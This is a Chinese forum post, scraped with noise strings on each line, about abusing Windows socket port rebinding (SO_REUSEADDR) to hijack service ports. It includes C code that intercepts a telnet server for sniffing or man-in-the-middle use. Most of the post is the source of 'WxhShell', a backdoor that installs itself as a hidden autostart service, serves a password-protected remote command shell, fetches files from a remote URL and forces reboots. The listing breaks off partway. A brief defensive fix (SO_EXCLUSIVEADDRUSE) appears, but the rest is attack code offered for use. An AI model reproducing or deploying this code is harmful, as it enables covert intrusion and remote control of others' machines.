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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RBd7YWo\|j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >6-`}G+|  
hfB%`x#akQ  
  saddr.sin_family = AF_INET;  }v{LRRi  
$wa{~'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Vp\,CuQ  
LOYk9m  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G!##X: 6'  
V Q@   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $HzBD.CF|x  
=XQ%t @z0  
  这意味着什么?意味着可以进行如下的攻击: ,qwuLBW  
C): 1?@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Nx;~@  
3=[mP, pLh  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7A7?GDW  
8Fh)eha9f  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >'$Mp<  
Y@iS_lR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (WJRi:NP?  
Tidn-2L73O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T!{w~'=F  
fOrH$?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kZ:ZtE  
re<{ >  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 t@;p  
wlvgg  
  #include Z{d^-  
  #include P+sW[:  
  #include 3?yg\  
  #include    (C L%>5V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i]4I [!  
  int main() n@i HFBb  
  { WwFm*4{[o  
  WORD wVersionRequested; r6qj7}\  
  DWORD ret; >=>2m2z=  
  WSADATA wsaData; Or+U@vAnk  
  BOOL val; :cECRm*  
  SOCKADDR_IN saddr; o|:b;\)b  
  SOCKADDR_IN scaddr; "sCRdx]_  
  int err; +\A,&;!SR  
  SOCKET s; U)gH}0n&  
  SOCKET sc; =WATyY:s  
  int caddsize; _VN?#J)o  
  HANDLE mt; 3"i-o$P  
  DWORD tid;   HC8e>kP9b  
  wVersionRequested = MAKEWORD( 2, 2 ); '<<t]kK[N  
  err = WSAStartup( wVersionRequested, &wsaData ); L*+@>3mu)  
  if ( err != 0 ) { t{kG<J/l  
  printf("error!WSAStartup failed!\n"); Llo"MO*sr  
  return -1; G` A4|+W"  
  } +'a^f5  
  saddr.sin_family = AF_INET; }0z)5c  
   )akoa,#%6c  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~mxO7cy5Cg  
7}>EJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ki!0^t:9  
  saddr.sin_port = htons(23); "^-a M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n84|{l581  
  { SnfYT)Ph  
  printf("error!socket failed!\n"); 4VSU8tK|N]  
  return -1; \8cx6 G'  
  } w@E3ZL^  
  val = TRUE; niyV8v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Gef TdO.&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D>q9 3;p  
  { r19 pZAc  
  printf("error!setsockopt failed!\n"); Otuf] B^s  
  return -1; +\9NDfYIA  
  } H <l7ZS:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; a=2%4Wmz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 CdQ!GS<'y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t{96p77)=  
cwg"c4V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) z:*|a+cy  
  { Z9|P'R(l  
  ret=GetLastError(); _DtV  
  printf("error!bind failed!\n"); /4Gt{yg Sr  
  return -1; 5j(k:a+!H  
  } R/YqyT\SM  
  listen(s,2); :F?C)F  
  while(1) %h@EP[\  
  { vs4>T^8e  
  caddsize = sizeof(scaddr); '=pU^Oz<}  
  //接受连接请求 y)@wjH{6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K0>zxqY  
  if(sc!=INVALID_SOCKET) y N-9[P8C  
  { N6:`/f+A>T  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1+s;FJ2}  
  if(mt==NULL) g- gV2$I  
  { 4Nsp<Kn>  
  printf("Thread Creat Failed!\n"); 1qA;/-Zr<o  
  break; {IjR^J=k  
  } ]/v[8dS(l  
  } ygcm|PrS  
  CloseHandle(mt); MQ2}EY*A  
  } upmx $H>  
  closesocket(s); &D<yX~  
  WSACleanup(); y9ZvV0  
  return 0; !a\^Sk /  
  }   75lA%| *X  
  DWORD WINAPI ClientThread(LPVOID lpParam) N!}f}oF  
  { %N._w!N<5n  
  SOCKET ss = (SOCKET)lpParam; 6gDN`e,@  
  SOCKET sc; z$sT !QL~  
  unsigned char buf[4096]; ;$4\e)AB  
  SOCKADDR_IN saddr; 1% `Rs  
  long num; ? r4>"[  
  DWORD val; =3P)q"  
  DWORD ret; :ws<-Qy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 At;LO9T3z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h?U O&(  
  saddr.sin_family = AF_INET; 3v-~K)hl?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Vurq t_nb  
  saddr.sin_port = htons(23); %cn<ych G  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dZuOrTplA  
  { UEL _uij  
  printf("error!socket failed!\n"); 307I$*%W  
  return -1; KI.hy2?e  
  } vY3h3o  
  val = 100; }@)[5N# A|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [-w%/D%@  
  { y~V(aih}D  
  ret = GetLastError(); .xkM.g4{~  
  return -1; i|kRK7[6B  
  } c71y'hnT  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !4!~L k=  
  { | -H& o]  
  ret = GetLastError(); Id9TG/H7  
  return -1; er\|i. Y  
  } L~3Pm%{@A  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |.dRily+  
  { |w=zOC;v  
  printf("error!socket connect failed!\n"); ['D]>Ot68  
  closesocket(sc); <_+X 88  
  closesocket(ss); BA.uw_^4  
  return -1; *4 n)  
  } /$m;y[[  
  while(1) K 8O|?x]  
  { /dHF6yW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =_^X3z0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 a+QpM*n7Lq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ny# ^&-K  
  num = recv(ss,buf,4096,0); pj(,Zd[47  
  if(num>0) LP=)~K<  
  send(sc,buf,num,0); n6 v6K1  
  else if(num==0) x)&\z}  
  break; ;.C\Ss<>*  
  num = recv(sc,buf,4096,0); ]M3yLYK/P  
  if(num>0) zuCSj~  
  send(ss,buf,num,0); U0+-W07>  
  else if(num==0) MQ2_`pi  
  break; mE[y SrV  
  } V]^$S"Tv  
  closesocket(ss); I-)4YQI  
  closesocket(sc); HaYo!.(Fv  
  return 0 ; ;*J  
  } /L 3:  
v:#tWEbo-  
AXB7oV,xt  
========================================================== Ys7]B9/1O  
'GScszz  
下边附上一个代码,,WXhSHELL q(w(Sd)#L  
X>^fEQq"  
========================================================== "N#Y gSr  
8Fub<UhJ  
#include "stdafx.h" Dv6}bx(  
/wv0i3_e  
#include <stdio.h> <3 uNl  
#include <string.h> ~#/  
#include <windows.h> &,/ S`ke=  
#include <winsock2.h> - YBY[%jF>  
#include <winsvc.h> E-FUlOG&  
#include <urlmon.h> A@'OJRc  
ry]l.@o;  
#pragma comment (lib, "Ws2_32.lib") W*G<X.Hf  
#pragma comment (lib, "urlmon.lib") HZOMlOZ  
?]5qr?W%  
#define MAX_USER   100 // 最大客户端连接数 OrW  
#define BUF_SOCK   200 // sock buffer u? EN  
#define KEY_BUFF   255 // 输入 buffer Y0> @vTUX  
n"8Yv~v*2j  
#define REBOOT     0   // 重启 EX"yxZ~  
#define SHUTDOWN   1   // 关机 K NOIZj   
n{jGOfc  
#define DEF_PORT   5000 // 监听端口 [>9is=>o.  
>mkFV@`  
#define REG_LEN     16   // 注册表键长度 u&e~1?R  
#define SVC_LEN     80   // NT服务名长度 YkADk9fE  
A}w/OA97RO  
// 从dll定义API ?A0)L27UE&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |BYRe1l6l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iRBfx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u@^LW<eD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (?];VG  
m[2gdJK  
// wxhshell配置信息 ig"L\ C"T  
struct WSCFG { bK7J}8hH  
  int ws_port;         // 监听端口 &3&HY:yF  
  char ws_passstr[REG_LEN]; // 口令 g{LP7 D;6  
  int ws_autoins;       // 安装标记, 1=yes 0=no )PZT4jTt  
  char ws_regname[REG_LEN]; // 注册表键名 1H9!5=Ff  
  char ws_svcname[REG_LEN]; // 服务名 z!\*Y =e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r|Z{-*`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w(F%^o\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0}9h]X'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "jCu6Rjd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" < Z$J<]I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3gzXbP,  
U!]dEW|G  
}; 0 "#HJA44  
.]Z"C&"N]  
// default Wxhshell configuration )}v l\7=  
struct WSCFG wscfg={DEF_PORT, kT=8e;K  
    "xuhuanlingzhe", @nf`Gw ;  
    1, [hs ds\  
    "Wxhshell", `u\n0=go  
    "Wxhshell", $ Q0n  
            "WxhShell Service", 31)&vf[[  
    "Wrsky Windows CmdShell Service", fy$1YI>!Q  
    "Please Input Your Password: ", 6B-16  
  1, t,' <gI  
  "http://www.wrsky.com/wxhshell.exe", JtZ7ti  
  "Wxhshell.exe" 5-M-X#(  
    }; AwN!;t_0+N  
^@]3R QB  
// 消息定义模块 `mqMLo *  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \NC3'G:Ii  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (.,G=\!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >3bCTE   
char *msg_ws_ext="\n\rExit."; ,?3G;-  
char *msg_ws_end="\n\rQuit."; ;}t(Wnu.  
char *msg_ws_boot="\n\rReboot..."; %)n=x ne  
char *msg_ws_poff="\n\rShutdown..."; Ho%CDz z  
char *msg_ws_down="\n\rSave to "; WhDJ7{D  
0YHFvy)  
char *msg_ws_err="\n\rErr!"; Dh*n!7lD`  
char *msg_ws_ok="\n\rOK!"; W!<U85-#S  
+|rj4j)L&'  
char ExeFile[MAX_PATH]; 28nFRr  
int nUser = 0; SAz   
HANDLE handles[MAX_USER]; =">NQ)98u  
int OsIsNt; j!ch5A  
pJ{Y lS{  
SERVICE_STATUS       serviceStatus; W>LR\]Ti@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?# fQ~ s  
.^g p?  
// 函数声明 'PHl$f*k  
int Install(void); +h$ 9\  
int Uninstall(void); _-\#i  
int DownloadFile(char *sURL, SOCKET wsh); cZ06Kx..  
int Boot(int flag); W8<%[-r  
void HideProc(void); %$mA03[MQ  
int GetOsVer(void); ZB{EmB0W  
int Wxhshell(SOCKET wsl); s@C}P  
void TalkWithClient(void *cs); =Sv/IXX\di  
int CmdShell(SOCKET sock); YK\X+"lB  
int StartFromService(void); ])!*_  
int StartWxhshell(LPSTR lpCmdLine); 7 d vnupLh  
`x|?&Ytmf9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )X!,3Ca{43  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O@P"MXEG  
t^L]/$q  
// 数据结构和表定义 5X+A"X ;C  
SERVICE_TABLE_ENTRY DispatchTable[] = K%d&EYoW]  
{ 0aAoV0fMDz  
{wscfg.ws_svcname, NTServiceMain}, 2?x4vI np;  
{NULL, NULL} H#&00Q[  
}; h$*!8=M  
Ls%MGs9PI  
// 自我安装 w(rE`IgW  
int Install(void) _Y!IEAU/#  
{ +qoRP2  
  char svExeFile[MAX_PATH]; n|;Im&,  
  HKEY key; 6wxs1G  
  strcpy(svExeFile,ExeFile); f5r0\7y0  
@.C2LIb  
// 如果是win9x系统,修改注册表设为自启动 % `3jL7|  
if(!OsIsNt) { xfQ1T)F3g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [vgtc.V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =Uh$&m  
  RegCloseKey(key); L$-T,Kze  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9gFUaDLo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ys~x $  
  RegCloseKey(key); 7Wno':w8  
  return 0; pUTr!fR  
    } OCUr{Nh  
  } &vJH$R  
} HhpDR  
else { 68 sB )R  
;fJ.8C  
// 如果是NT以上系统,安装为系统服务 TN.rrop`#g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uS-|wYE  
if (schSCManager!=0) 2?5>o!C  
{ q@qsp&0/  
  SC_HANDLE schService = CreateService /ouPg=+Nl  
  ( e!Hhs/&!T  
  schSCManager, +H.`MZ=  
  wscfg.ws_svcname, FtZ?C@1/  
  wscfg.ws_svcdisp, ;]iRk  
  SERVICE_ALL_ACCESS, -%~4W?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , liZxBs :%i  
  SERVICE_AUTO_START, q@&6#B  
  SERVICE_ERROR_NORMAL, J1vR5wbu  
  svExeFile, 9F vFhY  
  NULL, g*Phv|kI  
  NULL, '7/)Ot(  
  NULL, B6"0OIDY"  
  NULL, hc1N ~$3!G  
  NULL `gJ(0#ac  
  ); Gq6*SaTk  
  if (schService!=0) ?`#Khff?  
  { y*? Jui Q  
  CloseServiceHandle(schService); nEfK53i_  
  CloseServiceHandle(schSCManager); <[v[ci  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q<J~~'  
  strcat(svExeFile,wscfg.ws_svcname); nu^436MSOa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]yu:i-SfP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \lY_~*J  
  RegCloseKey(key); >0gW4!7Y  
  return 0; pJ=#zsE0  
    } ;*N5Y}?j'  
  } ),)lzN%!  
  CloseServiceHandle(schSCManager); >7FHo-H/T  
} N;d] 14|  
} u y+pP!<  
#ABCDi={zA  
return 1; 2/f}S?@   
} ~@!bsLSMU  
*#2h/Q.  
// 自我卸载 92c HwWZ!  
int Uninstall(void) T+$[eWk"a  
{ B[}6-2<>?C  
  HKEY key; H.;Q+A,8^  
\!(zrfP{(  
if(!OsIsNt) { E@\e$?*X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LscGTs,  
  RegDeleteValue(key,wscfg.ws_regname); G B^Br6  
  RegCloseKey(key); 5tnlrqC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i1085ztN  
  RegDeleteValue(key,wscfg.ws_regname); 0%B/,/PxD  
  RegCloseKey(key); CAlCDfKW}  
  return 0; us.~G  
  } /efUjkP  
} vIvIfE  
} "N;EL0=  
else { =*Lfl'sr_  
6LZCgdS{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H+#FSdy#  
if (schSCManager!=0) {_}I!`opr$  
{ }b}m3i1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); df=f62  
  if (schService!=0) ~~.}ah/_d  
  { ta0|^KAA  
  if(DeleteService(schService)!=0) { xG 1n GO  
  CloseServiceHandle(schService); [WJ+h~~ o  
  CloseServiceHandle(schSCManager); YR70BOxK  
  return 0; Smh,zCc>s  
  } vI?, 47Hj+  
  CloseServiceHandle(schService); rA1._   
  } "7 yD0T)2  
  CloseServiceHandle(schSCManager); yu|>t4#GT  
} >lm&iF3y  
} dQvcXl]  
cl1T8vFM  
return 1; :3PH8TL  
} +t.b` U`-  
]|@^1we  
// 从指定url下载文件 ^ 9sjj  
int DownloadFile(char *sURL, SOCKET wsh) +3gp%`c4  
{ RCrCs  
  HRESULT hr; ,6/V" kqIP  
char seps[]= "/"; TC('H[ ]  
char *token; ZcsZ$qt^  
char *file; y5r4&~04  
char myURL[MAX_PATH]; R_KH"`q  
char myFILE[MAX_PATH]; $qiya[&G4  
"Q<MS'a  
strcpy(myURL,sURL); VTM/hJmwJ  
  token=strtok(myURL,seps); FmW(CGs  
  while(token!=NULL) W_=f'yb:E  
  { SM '|+ d  
    file=token; bcyzhK=  
  token=strtok(NULL,seps); do_[&  
  } 3$tdwe$S  
|)&%A%m  
GetCurrentDirectory(MAX_PATH,myFILE); GyIV Hby  
strcat(myFILE, "\\"); Xvv6~  
strcat(myFILE, file); 7$b1<.WX  
  send(wsh,myFILE,strlen(myFILE),0); H\ %7%  
send(wsh,"...",3,0); 6863xOv{T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1oS/`)  
  if(hr==S_OK) #WuBL_nZ~  
return 0; u, ff>/1  
else s7<AfaJPF  
return 1; #spCtZE  
>z03{=sAN  
} ^~dWU>  
]d]]'Hk  
// 系统电源模块 dM5-;  
int Boot(int flag) Q8NX)R  
{ e(sk[guvX  
  HANDLE hToken; bOB \--:]  
  TOKEN_PRIVILEGES tkp; }EPY^VIw  
uH]OEz\H'  
  if(OsIsNt) { _w{Qtj~s|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KXy6Eno  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $ `c:&  
    tkp.PrivilegeCount = 1; 9Na$W:P c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sx%[=g+<2(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D- c4EV  
if(flag==REBOOT) { #R"*c hLV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p?!/+  
  return 0; x Ar\gu  
} 8m MQ[#0:}  
else { 3mgD(,(^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) = &]L00u.  
  return 0; ^c<Ve'-  
} ^ y::jK  
  } G2D$aSh  
  else { ,hVli/  
if(flag==REBOOT) { x4 yR8n(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pb}*\/s  
  return 0;  &HW9Jn  
} KwS@D9bok  
else { tc! #wd+u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uYN`:b8  
  return 0; WLT"ji0w2  
} Tx D#9]Q`  
} *p U x8yB  
| (93gJ  
return 1; vQCy\Gi   
} }j%5t ~Qa  
\85i+q:LuA  
// win9x进程隐藏模块 "x-j~u?  
void HideProc(void) TDh5lI  
{ N['  .BN  
tA;}h7/Lc~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;`&kZi60Hz  
  if ( hKernel != NULL ) YWLj?+  
  { wp_0+$?s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Upe%rC(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u_enqC3  
    FreeLibrary(hKernel); ?  t|[?  
  } nUO0Ce  
T[gv0|+  
return; ]DcFySyv  
} HtFDlvdy]  
[WmM6UEVS  
// 获取操作系统版本 zfU{Kd  
int GetOsVer(void) U/U);frH  
{ icgfB-1|i  
  OSVERSIONINFO winfo; l **X^+=$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t_^4`dW`  
  GetVersionEx(&winfo); Vk suu@cch  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L,\Iasv  
  return 1; aUp g u"  
  else KoT\pY^7\  
  return 0; g#bRT*,L  
} ^W ^OfY  
@dK Tx#gZ  
// 客户端句柄模块 s<Ziegmw|g  
int Wxhshell(SOCKET wsl) Y]>t[Lo%  
{ hb$Ce'}N  
  SOCKET wsh; 7dWS  
  struct sockaddr_in client; qPNR`%}Q  
  DWORD myID; R_C)  
TbU#96"~.  
  while(nUser<MAX_USER) 4 KiY6)  
{ (=0.inZ  
  int nSize=sizeof(client); XSR 4iu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;l+Leex  
  if(wsh==INVALID_SOCKET) return 1; # d  
Vr}'.\$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l#o ~W`  
if(handles[nUser]==0) aN?zmkPpov  
  closesocket(wsh); /: "1Z]@  
else =bOW~0Z1  
  nUser++; )`:UP~)H  
  } ]Ze1s02(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )7F/O3Tq  
0kh6@y3  
  return 0; M%HU4pTW#o  
} q~3>R=t  
ye&;(30Oq  
// 关闭 socket 9*g Z-#  
void CloseIt(SOCKET wsh) jA1 +x:Wq  
{ -n 1 v3  
closesocket(wsh); P:c w|Q  
nUser--; M3\AY30L  
ExitThread(0); 54 T`OE =  
} /m1\iM\  
uRvP hkqm  
// 客户端请求句柄 ';CNGv -  
void TalkWithClient(void *cs) 0mE 0 j  
{ Ud?Q%) X  
L!92P{K  
  SOCKET wsh=(SOCKET)cs; %b$>qW\*&  
  char pwd[SVC_LEN]; _6Sp QW  
  char cmd[KEY_BUFF]; B\~}3!j  
char chr[1]; /uflpV|  
int i,j; |Cv!,]9:r  
( .:e,l{U%  
  while (nUser < MAX_USER) { y[;>#j$  
l?e.9o2-  
if(wscfg.ws_passstr) { N~Jda o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r!v\"6:OM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D.:Zx  
  //ZeroMemory(pwd,KEY_BUFF); 4hB]vY\T  
      i=0; j2k"cmsKh  
  while(i<SVC_LEN) { wk^B"+Uhy  
IGl9 g_18  
  // 设置超时 M`_0C38  
  fd_set FdRead; HMXE$d=[  
  struct timeval TimeOut; BmT!aue  
  FD_ZERO(&FdRead); i!Ba]n   
  FD_SET(wsh,&FdRead); Gc?a+T  
  TimeOut.tv_sec=8; _BufO7 `.  
  TimeOut.tv_usec=0; K(4_a``05  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5BIY<B+i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U^PgG|0N  
dtDFoETz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /ZX }Nc g  
  pwd=chr[0]; '1[Ft03  
  if(chr[0]==0xd || chr[0]==0xa) { \bXa&Lq  
  pwd=0; =;L|gtH"  
  break; 4W75T2q#  
  } 2 ?C)&  
  i++; 97Vtn4N3  
    } /vt3>d%B;  
F,kZU$  
  // 如果是非法用户,关闭 socket F59 TZI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W9&=xs6  
} }e1ZbmW  
w0. u\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +{]j]OP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WJi]t93  
PCA4k.,T  
while(1) { [),ige  
:FF=a3/"6  
  ZeroMemory(cmd,KEY_BUFF); ?6!LL5a.  
P}iE+Z 3  
      // 自动支持客户端 telnet标准   T{ "(\X$  
  j=0; l/D} X  
  while(j<KEY_BUFF) { ?dTD\)%A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }p V:M{Nu&  
  cmd[j]=chr[0]; /r 5eWR1G  
  if(chr[0]==0xa || chr[0]==0xd) { y =@N|f!  
  cmd[j]=0; 4H/OBR  
  break; SbZ6t$"  
  } st*gs-8jJ;  
  j++; /Oono6j  
    } *8q.YuZ  
+ZYn? #IQ  
  // 下载文件 !D6]JPX  
  if(strstr(cmd,"http://")) { !-bB559Nv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2wn2.\v M  
  if(DownloadFile(cmd,wsh)) `cO:<^%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4i bc  
  else xw%0>K[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {g6%(X\r.r  
  } y`Fw-!'o  
  else { !>tL6+yj  
d9ihhqq3}  
    switch(cmd[0]) { Bvj0^fSm  
  #ob/p#k  
  // 帮助 G}*hM$F  
  case '?': { }]Tx lSp!;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *hrd5na  
    break; V&i;\9  
  } sLFl!jX  
  // 安装 Xj*Wu_  
  case 'i': { hZ3bVi)L\  
    if(Install()) E`q_bn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #$vEGY}1  
    else ,Q B<7a+I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G3]4A&h9v~  
    break; E7hhew  
    } zDp2g)  
  // 卸载 Z)!C'cb  
  case 'r': { w!CNRtM:~  
    if(Uninstall()) 6zkaOA46V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B!yr!DWv  
    else dx]>(e@(t{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /?!u{(h}  
    break; <i[HbgUlO.  
    } q4q6c")zp  
  // 显示 wxhshell 所在路径 VQI 3G  
  case 'p': { ijcm2FJcG  
    char svExeFile[MAX_PATH]; N [@?gFtT  
    strcpy(svExeFile,"\n\r"); Vi}_{ Cy  
      strcat(svExeFile,ExeFile); g`^x@rj`E  
        send(wsh,svExeFile,strlen(svExeFile),0); <#.g=ay  
    break; ;4a{$Lw~^9  
    } zT/\Cj68  
  // 重启 Bq>m{  
  case 'b': { e )ZUO_Q$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AGno6g  
    if(Boot(REBOOT)) D$N /FJ8|G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y7nvHU|+o  
    else { _wcNgFx  
    closesocket(wsh); BY*Q_Et  
    ExitThread(0); |%wX*zaf  
    } %\DX#.  
    break; GfG|&VNlz  
    } 'S~5"6r  
  // 关机 ~ 1pr~  
  case 'd': { (t.Nk[  
